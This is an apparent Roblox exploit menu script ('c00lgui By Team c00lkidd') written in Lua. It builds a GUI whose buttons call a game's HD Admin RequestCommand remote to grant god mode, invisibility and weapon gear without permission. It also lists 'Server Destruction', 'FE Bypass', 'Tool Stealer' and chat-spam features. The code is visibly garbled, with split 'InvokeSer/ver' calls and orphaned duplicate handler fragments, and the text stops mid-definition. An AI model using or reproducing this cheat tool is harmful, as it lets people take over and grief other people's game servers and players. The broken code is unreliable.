Yes
Yes
-- Version: 3.2
-- Instances:
local si = Instance.new("ScreenGui")
local Frame = Instance.new("Frame")
local Title = Instance.new("TextLabel")
local TextButton = Instance.new("TextButton")
local TextButton_2 = Instance.new("TextButton")
local Settings = Instance.new("Frame")
local SettingsButton = Instance.new("TextButton")
local Title_2 = Instance.new("TextLabel")
local TextButton_3 = Instance.new("TextButton")
local TextButton_4 = Instance.new("TextButton")
local Page1 = Instance.new("Frame")
local SkyboxDecalID = Instance.new("Frame")
local Title_3 = Instance.new("TextLabel")
local TextBox = Instance.new("TextBox")
local MusicID = Instance.new("Frame")
local Title_4 = Instance.new("TextLabel")
local TextBox_2 = Instance.new("TextBox")
local God = Instance.new("Frame")
local Title_5 = Instance.new("TextLabel")
local TextButton_5 = Instance.new("TextButton")
local Invisibility = Instance.new("Frame")
local Title_6 = Instance.new("TextLabel")
local TextButton_6 = Instance.new("TextButton")
local PageLabel = Instance.new("TextLabel")
local Save = Instance.new("TextButton")
local Load = Instance.new("TextButton")
local Page2 = Instance.new("Frame")
local BillboardGuiColor = Instance.new("Frame")
local Title_7 = Instance.new("TextLabel")
local TextBox2 = Instance.new("TextBox")
local TextBox1 = Instance.new("TextBox")
local TextBox3 = Instance.new("TextBox")
local PageLabel_2 = Instance.new("TextLabel")
local ChatSpamText = Instance.new("Frame")
local Title_8 = Instance.new("TextLabel")
local TextBox_3 = Instance.new("TextBox")
local WalkspeedAmount = Instance.new("Frame")
local Title_9 = Instance.new("TextLabel")
local TextBox_4 = Instance.new("TextBox")
local NameBox = Instance.new("Frame")
local Title_10 = Instance.new("TextLabel")
local TextBox_5 = Instance.new("TextBox")
local Page2_2 = Instance.new("Frame")
local WeaponScripts = Instance.new("Frame")
local xBow = Instance.new("TextButton")
local Title_11 = Instance.new("TextLabel")
local Drage = Instance.new("TextButton")
local Eyelaser = Instance.new("TextButton")
local Wand = Instance.new("TextButton")
local Knife = Instance.new("TextButton")
local Lightsaber = Instance.new("TextButton")
local AbyssalSword = Instance.new("TextButton")
local Staff = Instance.new("TextButton")
local TechnoGauntlet = Instance.new("TextButton")
local Plane = Instance.new("TextButton")
local Snowball = Instance.new("TextButton")
local SuicideVest = Instance.new("TextButton")
local DualBlades = Instance.new("TextButton")
local Titan = Instance.new("TextButton")
local Hammer = Instance.new("TextButton")
local GearTools = Instance.new("Frame")
local CustomGear = Instance.new("TextButton")
local Title_12 = Instance.new("TextLabel")
local StamperTools = Instance.new("TextButton")
local ToolStealer = Instance.new("TextButton")
local InsertTool = Instance.new("TextButton")
local Empty = Instance.new("TextButton")
local Gun = Instance.new("TextButton")
local DrawTool = Instance.new("TextButton")
local PageLabel_3 = Instance.new("TextLabel")
local Page1_2 = Instance.new("Frame")
local ServerDestruction = Instance.new("Frame")
local TextButton_7 = Instance.new("TextButton")
local Title_13 = Instance.new("TextLabel")
local TextButton_8 = Instance.new("TextButton")
local TextButton_9 = Instance.new("TextButton")
local TextButton_10 = Instance.new("TextButton")
local TextButton_11 = Instance.new("TextButton")
local TextButton_12 = Instance.new("TextButton")
local TextButton_13 = Instance.new("TextButton")
local TextButton_14 = Instance.new("TextButton")
local TextButton_15 = Instance.new("TextButton")
local TextButton_16 = Instance.new("TextButton")
local TextButton_17 = Instance.new("TextButton")
local TextButton_18 = Instance.new("TextButton")
local TextButton_19 = Instance.new("TextButton")
local TextButton_20 = Instance.new("TextButton")
local AdminCommandsGuis = Instance.new("Frame")
local FEBypass = Instance.new("TextButton")
local Title_14 = Instance.new("TextLabel")
local KohlsAdmin = Instance.new("TextButton")
local BTTConsole = Instance.new("TextButton")
local DZRSpawnItemGui = Instance.new("TextButton")
local KillGui = Instance.new("TextButton")
local SilentExecutor = Instance.new("TextButton")
local Nilizer = Instance.new("TextButton")
local RemsoAdmin = Instance.new("TextButton")
local Rek3k = Instance.new("TextButton")
local PageLabel_4 = Instance.new("TextLabel")
local Page4 = Instance.new("Frame")
local PresetSkyboxDecalIDs = Instance.new("Frame")
local Cat = Instance.new("TextButton")
local Title_15 = Instance.new("TextLabel")
local RC7 = Instance.new("TextButton")
local teamskrubl0rd = Instance.new("TextButton")
local PresetMusicIDs = Instance.new("Frame")
local Title_16 = Instance.new("TextLabel")
local Hijacked = Instance.new("TextButton")
local CyberChainsaw = Instance.new("TextButton")
local AllDropping8BitBeats = Instance.new("TextButton")
local NitroFunEasterEgg = Instance.new("TextButton")
local PageLabel_5 = Instance.new("TextLabel")
local Page3 = Instance.new("Frame")
local LocalPlayer = Instance.new("Frame")
local BillboardGui = Instance.new("TextButton")
local Title_17 = Instance.new("TextLabel")
local DiscoCharacter = Instance.new("TextButton")
local ChickenArms = Instance.new("TextButton")
local DominusGhost = Instance.new("TextButton")
local JD = Instance.new("TextButton")
local FloatingPad = Instance.new("TextButton")
local SetWalkspeed = Instance.new("TextButton")
local Heal = Instance.new("TextButton")
local ChangeName = Instance.new("TextButton")
local Misc = Instance.new("Frame")
local Title_18 = Instance.new("TextLabel")
local PlayMusic = Instance.new("TextButton")
local DiscoFog = Instance.new("TextButton")
local BecomeOwnerinPersonalServer = Instance.new("TextButton")
local LeaderstatChange = Instance.new("TextButton")
local PageLabel_6 = Instance.new("TextLabel")
local Page5 = Instance.new("Frame")
local PageLabel_7 = Instance.new("TextLabel")
local PageLabel_8 = Instance.new("TextLabel")
local PageLabel_9 = Instance.new("TextLabel")
local PageLabel_10 = Instance.new("TextLabel")
local PageLabel_11 = Instance.new("TextLabel")
local CloseOpen = Instance.new("TextButton")
--Properties:
si.Name = "si"
si.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
si.ResetOnSpawn = false
Frame.Parent = si
Frame.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Frame.BorderColor3 = Color3.fromRGB(255, 0, 4)
Frame.BorderSizePixel = 3
Frame.Position = UDim2.new(-0.00100000005, 3, 0.0790000036, 0)
Frame.Size = UDim2.new(0, 300, 0, 465)
Frame.ZIndex = 2
Title.Name = "Title"
Title.Parent = Frame
Title.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Title.BorderColor3 = Color3.fromRGB(255, 0, 0)
Title.BorderSizePixel = 3
Title.Position = UDim2.new(0, 0, 0.00214592274, 0)
Title.Size = UDim2.new(1, 0, 0.0139484983, 40)
Title.ZIndex = 2
Title.Font = Enum.Font.SourceSans
Title.Text = "c00lgui By Team c00lkidd"
Title.TextColor3 = Color3.fromRGB(255, 255, 255)
Title.TextSize = 24.000
Title.TextWrapped = true
TextButton.Name = "<"
TextButton.Parent = Frame
TextButton.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextButton.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextButton.BorderSizePixel = 3
TextButton.Position = UDim2.new(0, 0, 0, 40)
TextButton.Size = UDim2.new(0.5, 0, 0, 40)
TextButton.ZIndex = 2
TextButton.Font = Enum.Font.SourceSans
TextButton.Text = "<"
TextButton.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton.TextSize = 48.000
TextButton_2.Name = ">"
TextButton_2.Parent = Frame
TextButton_2.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextButton_2.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextButton_2.BorderSizePixel = 3
TextButton_2.Position = UDim2.new(0.5, 3, 0, 40)
TextButton_2.Size = UDim2.new(0.5, -3, 0, 40)
TextButton_2.ZIndex = 2
TextButton_2.Font = Enum.Font.SourceSans
TextButton_2.Text = ">"
TextButton_2.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_2.TextSize = 48.000
Settings.Name = "Settings"
Settings.Parent = Frame
Settings.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Settings.BorderColor3 = Color3.fromRGB(255, 0, 0)
Settings.BorderSizePixel = 3
Settings.Position = UDim2.new(1, 3, 0, 0)
Settings.Size = UDim2.new(0, 300, 0, 465)
SettingsButton.Name = "SettingsButton"
SettingsButton.Parent = Settings
SettingsButton.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
SettingsButton.BorderColor3 = Color3.fromRGB(255, 0, 0)
SettingsButton.BorderSizePixel = 3
SettingsButton.Position = UDim2.new(1, 3, 0, 0)
SettingsButton.Size = UDim2.new(0, 27, 1, 0)
SettingsButton.Font = Enum.Font.SourceSans
SettingsButton.Text = "<"
SettingsButton.TextColor3 = Color3.fromRGB(255, 255, 255)
SettingsButton.TextSize = 48.000
Title_2.Name = "Title"
Title_2.Parent = Settings
Title_2.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Title_2.BorderColor3 = Color3.fromRGB(255, 0, 0)
Title_2.BorderSizePixel = 3
Title_2.Size = UDim2.new(1, 0, 0, 40)
Title_2.Font = Enum.Font.SourceSans
Title_2.Text = "Settings"
Title_2.TextColor3 = Color3.fromRGB(255, 255, 255)
Title_2.TextSize = 24.000
TextButton_3.Name = "<"
TextButton_3.Parent = Settings
TextButton_3.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextButton_3.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextButton_3.BorderSizePixel = 3
TextButton_3.Position = UDim2.new(0, 0, 0, 40)
TextButton_3.Size = UDim2.new(0.5, 0, 0, 40)
TextButton_3.Font = Enum.Font.SourceSans
TextButton_3.Text = "<"
TextButton_3.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_3.TextSize = 48.000
TextButton_4.Name = ">"
TextButton_4.Parent = Settings
TextButton_4.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextButton_4.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextButton_4.BorderSizePixel = 3
TextButton_4.Position = UDim2.new(0.5, 3, 0, 40)
TextButton_4.Size = UDim2.new(0.5, -3, 0, 40)
TextButton_4.Font = Enum.Font.SourceSans
TextButton_4.Text = ">"
TextButton_4.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_4.TextSize = 48.000
Page1.Name = "Page1"
Page1.Parent = Settings
Page1.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Page1.BorderColor3 = Color3.fromRGB(255, 0, 0)
Page1.BorderSizePixel = 3
Page1.Position = UDim2.new(0, 0, 0, 83)
Page1.Size = UDim2.new(1, 0, 1, -83)
Page1.Visible = true
Title_3.Name = "Title"
Title_3.Parent = SkyboxDecalID
Title_3.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Title_3.BorderColor3 = Color3.fromRGB(255, 0, 0)
Title_3.BorderSizePixel = 3
Title_3.Size = UDim2.new(1, 0, 0, 30)
Title_3.Font = Enum.Font.SourceSansBold
Title_3.Text = "Skybox/Decal ID (Maybe Working)"
Title_3.TextColor3 = Color3.fromRGB(255, 255, 255)
Title_3.TextSize = 14.000
Title_3.TextWrapped = true
TextBox.Parent = SkyboxDecalID
TextBox.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextBox.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextBox.BorderSizePixel = 3
TextBox.Position = UDim2.new(0, 0, 0.5, 0)
TextBox.Size = UDim2.new(1, 1, 0.5, -1)
TextBox.Font = Enum.Font.SourceSans
TextBox.Text = "11924897469"
TextBox.TextColor3 = Color3.fromRGB(255, 255, 255)
TextBox.TextSize = 14.000
Title_4.Name = "Title"
Title_4.Parent = MusicID
Title_4.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Title_4.BorderColor3 = Color3.fromRGB(255, 0, 0)
Title_4.BorderSizePixel = 3
Title_4.Position = UDim2.new(0, 0, 0.0476190485, 0)
Title_4.Size = UDim2.new(1, 0, 0, 30)
Title_4.Font = Enum.Font.SourceSansBold
Title_4.Text = "Music ID"
Title_4.TextColor3 = Color3.fromRGB(255, 255, 255)
Title_4.TextSize = 14.000
Title_4.TextWrapped = true
TextBox_2.Parent = MusicID
TextBox_2.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextBox_2.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextBox_2.BorderSizePixel = 3
TextBox_2.Position = UDim2.new(0, 0, 0.5, 1)
TextBox_2.Size = UDim2.new(1, 0, 0.5, 0)
TextBox_2.Font = Enum.Font.SourceSans
TextBox_2.Text = "6911766512"
TextBox_2.TextColor3 = Color3.fromRGB(255, 255, 255)
TextBox_2.TextSize = 14.000
God.Name = "God"
God.Parent = Page1
God.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
God.BorderColor3 = Color3.fromRGB(255, 0, 0)
God.BorderSizePixel = 3
God.Position = UDim2.new(0, 2, 0, 69)
God.Size = UDim2.new(0.5, 0, 0, 63)
Title_5.Name = "Title"
Title_5.Parent = God
Title_5.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Title_5.BorderColor3 = Color3.fromRGB(255, 0, 0)
Title_5.BorderSizePixel = 3
Title_5.Size = UDim2.new(1, 0, 0, 30)
Title_5.Font = Enum.Font.SourceSansBold
Title_5.Text = "God (HD ADMIN)"
Title_5.TextColor3 = Color3.fromRGB(255, 255, 255)
Title_5.TextSize = 14.000
Title_5.TextWrapped = true
TextButton_5.Parent = God
TextButton_5.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextButton_5.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextButton_5.BorderSizePixel = 3
TextButton_5.Position = UDim2.new(0, 0, 0.5, 0)
TextButton_5.Size = UDim2.new(1, 0, 0.5, 0)
TextButton_5.Font = Enum.Font.SourceSans
TextButton_5.Text = "Off"
TextButton_5.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_5.TextSize = 14.000
TextButton_5.MouseButton1Down:connect(function()
local args = {
[1] = ";God Me "
}
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
Invisibility.Name = "Invisibility"
Invisibility.Parent = Page1
Invisibility.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Invisibility.BorderColor3 = Color3.fromRGB(255, 0, 0)
Invisibility.BorderSizePixel = 3
Invisibility.Position = UDim2.new(0.48999989, 3, -0.172774866, 132)
Invisibility.Size = UDim2.new(0.5, -3, 0, 63)
Title_6.Name = "Title"
Title_6.Parent = Invisibility
Title_6.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Title_6.BorderColor3 = Color3.fromRGB(255, 0, 0)
Title_6.BorderSizePixel = 3
Title_6.Position = UDim2.new(0, 0, 0.0158730168, 0)
Title_6.Size = UDim2.new(1, 0, 0, 30)
Title_6.Font = Enum.Font.SourceSansBold
Title_6.Text = "Invisibility"
Title_6.TextColor3 = Color3.fromRGB(255, 255, 255)
Title_6.TextSize = 14.000
Title_6.TextWrapped = true
TextButton_6.Parent = Invisibility
TextButton_6.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextButton_6.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextButton_6.BorderSizePixel = 3
TextButton_6.Position = UDim2.new(0, 0, 0.5, 0)
TextButton_6.Size = UDim2.new(1, 0, 0.5, 0)
TextButton_6.Font = Enum.Font.SourceSans
TextButton_6.Text = "Off"
TextButton_6.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_6.TextSize = 14.000
TextButton_6.MouseButton1Down:connect(function()
local args = {
[1] = ";Invisible Me "
}
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
PageLabel.Name = "PageLabel"
PageLabel.Parent = Page1
PageLabel.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
PageLabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
PageLabel.BorderSizePixel = 3
PageLabel.Position = UDim2.new(0, 0, 1, -52)
PageLabel.Size = UDim2.new(1, 0, 0, 29)
PageLabel.Font = Enum.Font.SourceSans
PageLabel.Text = "Page 1"
PageLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
PageLabel.TextSize = 18.000
PageLabel.TextWrapped = true
Save.Name = "Save"
Save.Parent = Settings
Save.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Save.BorderColor3 = Color3.fromRGB(255, 0, 0)
Save.BorderSizePixel = 4
Save.Position = UDim2.new(0, 0, 0.300000012, 260)
Save.Size = UDim2.new(0, 150, 0, 20)
Save.ZIndex = 2
Save.Selected = true
Save.Font = Enum.Font.SourceSans
Save.Text = "Save IDs"
Save.TextColor3 = Color3.fromRGB(255, 255, 255)
Save.TextSize = 18.000
Load.Name = "Load"
Load.Parent = Settings
Load.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Load.BorderColor3 = Color3.fromRGB(255, 0, 0)
Load.BorderSizePixel = 4
Load.Position = UDim2.new(0.5, 0, 0.300000012, 260)
Load.Size = UDim2.new(0, 150, 0, 20)
Load.ZIndex = 2
Load.Selected = true
Load.Font = Enum.Font.SourceSans
Load.Text = "Load IDs"
Load.TextColor3 = Color3.fromRGB(255, 255, 255)
Load.TextSize = 18.000
Page2.Name = "Page2"
Page2.Parent = Settings
Page2.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Page2.BorderColor3 = Color3.fromRGB(255, 0, 0)
Page2.BorderSizePixel = 3
Page2.Position = UDim2.new(0, 0, 0, 83)
Page2.Size = UDim2.new(1, 0, 1, -83)
Page2.Visible = false
Title_7.Name = "Title"
Title_7.Parent = BillboardGuiColor
Title_7.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Title_7.BorderColor3 = Color3.fromRGB(255, 0, 0)
Title_7.BorderSizePixel = 3
Title_7.Size = UDim2.new(1, 0, 0, 30)
Title_7.Font = Enum.Font.SourceSansBold
Title_7.Text = "Billboard Gui Color"
Title_7.TextColor3 = Color3.fromRGB(255, 255, 255)
Title_7.TextSize = 14.000
Title_7.TextWrapped = true
TextBox2.Name = "TextBox2"
TextBox2.Parent = BillboardGuiColor
TextBox2.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextBox2.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextBox2.BorderSizePixel = 3
TextBox2.Position = UDim2.new(0, 50, 0.5, 0)
TextBox2.Size = UDim2.new(0, 50, 0.5, -1)
TextBox2.Font = Enum.Font.SourceSans
TextBox2.Text = "255"
TextBox2.TextColor3 = Color3.fromRGB(255, 255, 255)
TextBox2.TextSize = 14.000
TextBox1.Name = "TextBox1"
TextBox1.Parent = BillboardGuiColor
TextBox1.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextBox1.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextBox1.BorderSizePixel = 3
TextBox1.Position = UDim2.new(0, 0, 0.5, 0)
TextBox1.Size = UDim2.new(0, 50, 0.5, -1)
TextBox1.Font = Enum.Font.SourceSans
TextBox1.Text = "0"
TextBox1.TextColor3 = Color3.fromRGB(255, 255, 255)
TextBox1.TextSize = 14.000
TextBox3.Name = "TextBox3"
TextBox3.Parent = BillboardGuiColor
TextBox3.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextBox3.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextBox3.BorderSizePixel = 3
TextBox3.Position = UDim2.new(0, 100, 0.5, 0)
TextBox3.Size = UDim2.new(0, 50, 0.5, -1)
TextBox3.Font = Enum.Font.SourceSans
TextBox3.Text = "0"
TextBox3.TextColor3 = Color3.fromRGB(255, 255, 255)
TextBox3.TextSize = 14.000
PageLabel_2.Name = "PageLabel"
PageLabel_2.Parent = Page2
PageLabel_2.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
PageLabel_2.BorderColor3 = Color3.fromRGB(255, 0, 0)
PageLabel_2.BorderSizePixel = 3
PageLabel_2.Position = UDim2.new(0, 0, 1, -53)
PageLabel_2.Size = UDim2.new(1, 0, 0, 30)
PageLabel_2.Font = Enum.Font.SourceSans
PageLabel_2.Text = "Page 2"
PageLabel_2.TextColor3 = Color3.fromRGB(255, 255, 255)
PageLabel_2.TextSize = 18.000
PageLabel_2.TextWrapped = true
Title_8.Name = "Title"
Title_8.Parent = ChatSpamText
Title_8.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Title_8.BorderColor3 = Color3.fromRGB(255, 0, 0)
Title_8.BorderSizePixel = 3
Title_8.Size = UDim2.new(1, 0, 0, 30)
Title_8.Font = Enum.Font.SourceSansBold
Title_8.Text = "Chat Spam Text"
Title_8.TextColor3 = Color3.fromRGB(255, 255, 255)
Title_8.TextSize = 14.000
Title_8.TextWrapped = true
TextBox_3.Parent = ChatSpamText
TextBox_3.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextBox_3.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextBox_3.BorderSizePixel = 3
TextBox_3.Position = UDim2.new(0, 0, 0.5, 0)
TextBox_3.Size = UDim2.new(1, 0, 0.5, 0)
TextBox_3.Font = Enum.Font.SourceSans
TextBox_3.Text = "Join team c00lkidd!"
TextBox_3.TextColor3 = Color3.fromRGB(255, 255, 255)
TextBox_3.TextSize = 14.000
Title_9.Name = "Title"
Title_9.Parent = WalkspeedAmount
Title_9.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Title_9.BorderColor3 = Color3.fromRGB(255, 0, 0)
Title_9.BorderSizePixel = 3
Title_9.Position = UDim2.new(0, 0, 0.0454545468, 0)
Title_9.Size = UDim2.new(1, 0, 0, 30)
Title_9.Font = Enum.Font.SourceSansBold
Title_9.Text = "Walkspeed Amount"
Title_9.TextColor3 = Color3.fromRGB(255, 255, 255)
Title_9.TextSize = 14.000
Title_9.TextWrapped = true
TextBox_4.Parent = WalkspeedAmount
TextBox_4.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextBox_4.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextBox_4.BorderSizePixel = 2
TextBox_4.Position = UDim2.new(0, 0, 0.5, 0)
TextBox_4.Size = UDim2.new(1, 0, 0.545454562, -3)
TextBox_4.Font = Enum.Font.SourceSans
TextBox_4.Text = "50"
TextBox_4.TextColor3 = Color3.fromRGB(255, 255, 255)
TextBox_4.TextSize = 14.000
NameBox.Name = "NameBox"
NameBox.Parent = Page2
NameBox.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
NameBox.BorderColor3 = Color3.fromRGB(255, 0, 0)
NameBox.BorderSizePixel = 3
NameBox.Position = UDim2.new(0.5, 3, 0, 0)
NameBox.Size = UDim2.new(0.5, -3, 0, 66)
Title_10.Name = "Title"
Title_10.Parent = NameBox
Title_10.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Title_10.BorderColor3 = Color3.fromRGB(255, 0, 0)
Title_10.BorderSizePixel = 3
Title_10.Size = UDim2.new(1, 0, 0, 30)
Title_10.Font = Enum.Font.SourceSansBold
Title_10.Text = "Name"
Title_10.TextColor3 = Color3.fromRGB(255, 255, 255)
Title_10.TextSize = 14.000
Title_10.TextWrapped = true
TextBox_5.Parent = NameBox
TextBox_5.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextBox_5.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextBox_5.BorderSizePixel = 3
TextBox_5.Position = UDim2.new(0, 0, 0.5, 0)
TextBox_5.Size = UDim2.new(1, 0, 0.5, 0)
TextBox_5.Font = Enum.Font.SourceSans
TextBox_5.Text = "God"
TextBox_5.TextColor3 = Color3.fromRGB(255, 255, 255)
TextBox_5.TextSize = 14.000
Page2_2.Name = "Page2"
Page2_2.Parent = Frame
Page2_2.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Page2_2.BorderColor3 = Color3.fromRGB(255, 0, 0)
Page2_2.BorderSizePixel = 3
Page2_2.Position = UDim2.new(0, 0, 0, 83)
Page2_2.Size = UDim2.new(1, 0, 1, -106)
Page2_2.Visible = false
Page2_2.ZIndex = 2
xBow.Name = "xBow"
xBow.Parent = WeaponScripts
xBow.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
xBow.BorderColor3 = Color3.fromRGB(255, 0, 0)
xBow.BorderSizePixel = 3
xBow.Position = UDim2.new(0, 0, 0, 33)
xBow.Size = UDim2.new(0.5, 0, 0, 30)
xBow.ZIndex = 2
xBow.Font = Enum.Font.SourceSans
xBow.Text = "Random Bow"
xBow.TextColor3 = Color3.fromRGB(255, 255, 255)
xBow.TextSize = 14.000
xBow.MouseButton1Down:connect(function()
local args = {
[1] = ";gear Me 121925044 "
}
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
Title_11.Name = "Title"
Title_11.Parent = WeaponScripts
Title_11.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Title_11.BorderColor3 = Color3.fromRGB(255, 0, 0)
Title_11.BorderSizePixel = 3
Title_11.Size = UDim2.new(1, 0, 0, 30)
Title_11.ZIndex = 2
Title_11.Font = Enum.Font.SourceSansBold
Title_11.Text = "Weapon Scripts (Need HD ADMIN)"
Title_11.TextColor3 = Color3.fromRGB(255, 255, 255)
Title_11.TextSize = 14.000
Title_11.TextWrapped = true
Drage.Name = "Drage"
Drage.Parent = WeaponScripts
Drage.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Drage.BorderColor3 = Color3.fromRGB(255, 0, 0)
Drage.BorderSizePixel = 3
Drage.Position = UDim2.new(0, 0, 0, 66)
Drage.Size = UDim2.new(0.5, 0, 0, 30)
Drage.ZIndex = 2
Drage.Font = Enum.Font.SourceSans
Drage.Text = "Attack Doge"
Drage.TextColor3 = Color3.fromRGB(255, 255, 255)
Drage.TextSize = 14.000
Drage.MouseButton1Down:connect(function()
local args = {
[1] = ";gear Me 257810065 "
}
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
Eyelaser.Name = "Eyelaser"
Eyelaser.Parent = WeaponScripts
Eyelaser.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Eyelaser.BorderColor3 = Color3.fromRGB(255, 0, 0)
Eyelaser.BorderSizePixel = 3
Eyelaser.Position = UDim2.new(0, 0, 0, 99)
Eyelaser.Size = UDim2.new(0.5, 0, 0, 30)
Eyelaser.ZIndex = 2
Eyelaser.Font = Enum.Font.SourceSans
Eyelaser.Text = "Fingerlaser"
Eyelaser.TextColor3 = Color3.fromRGB(255, 255, 255)
Eyelaser.TextSize = 14.000
Eyelaser.MouseButton1Down:connect(function()
local args = {
[1] = ";gear Me 115377964 "
}
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
Wand.Name = "Wand"
Wand.Parent = WeaponScripts
Wand.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Wand.BorderColor3 = Color3.fromRGB(255, 0, 0)
Wand.BorderSizePixel = 3
Wand.Position = UDim2.new(0.5, 3, 0, 33)
Wand.Size = UDim2.new(0.5, -3, 0, 30)
Wand.ZIndex = 2
Wand.Font = Enum.Font.SourceSans
Wand.Text = "Wand"
Wand.TextColor3 = Color3.fromRGB(255, 255, 255)
Wand.TextSize = 14.000
Wand.MouseButton1Down:connect(function()
local args = {
[1] = ";gear Me 32355966 "
}
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
Knife.Name = "Knife"
Knife.Parent = WeaponScripts
Knife.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Knife.BorderColor3 = Color3.fromRGB(255, 0, 0)
Knife.BorderSizePixel = 3
Knife.Position = UDim2.new(0.5, 3, 0, 99)
Knife.Size = UDim2.new(0.5, -3, 0, 30)
Knife.ZIndex = 2
Knife.Font = Enum.Font.SourceSans
Knife.Text = "Knife"
Knife.TextColor3 = Color3.fromRGB(255, 255, 255)
Knife.TextSize = 14.000
Knife.MouseButton1Down:connect(function()
local args = {
[1] = ";gear Me 170897263 "
}
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
Lightsaber.Name = "Lightsaber"
Lightsaber.Parent = WeaponScripts
Lightsaber.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Lightsaber.BorderColor3 = Color3.fromRGB(255, 0, 0)
Lightsaber.BorderSizePixel = 3
Lightsaber.Position = UDim2.new(0, 0, 0, 132)
Lightsaber.Size = UDim2.new(0.5, 0, 0, 30)
Lightsaber.ZIndex = 2
Lightsaber.Font = Enum.Font.SourceSans
Lightsaber.Text = "Lightsaber"
Lightsaber.TextColor3 = Color3.fromRGB(255, 255, 255)
Lightsaber.TextSize = 14.000
Lightsaber.MouseButton1Down:connect(function()
local args = {
[1] = ";gear Me 44561450 "
}
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
Staff.Name = "Staff"
Staff.Parent = WeaponScripts
Staff.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Staff.BorderColor3 = Color3.fromRGB(255, 0, 0)
Staff.BorderSizePixel = 3
Staff.Position = UDim2.new(0, 0, 0, 165)
Staff.Size = UDim2.new(0.5, 0, 0, 30)
Staff.ZIndex = 2
Staff.Font = Enum.Font.SourceSans
Staff.Text = "Staff"
Staff.TextColor3 = Color3.fromRGB(255, 255, 255)
Staff.TextSize = 14.000
Staff.MouseButton1Down:connect(function()
local args = {
[1] = ";gear Me 26421972 "
}
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
Plane.Name = "Plane"
Plane.Parent = WeaponScripts
Plane.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Plane.BorderColor3 = Color3.fromRGB(255, 0, 0)
Plane.BorderSizePixel = 3
Plane.Position = UDim2.new(0, 0, 0, 198)
Plane.Size = UDim2.new(0.5, 0, 0, 30)
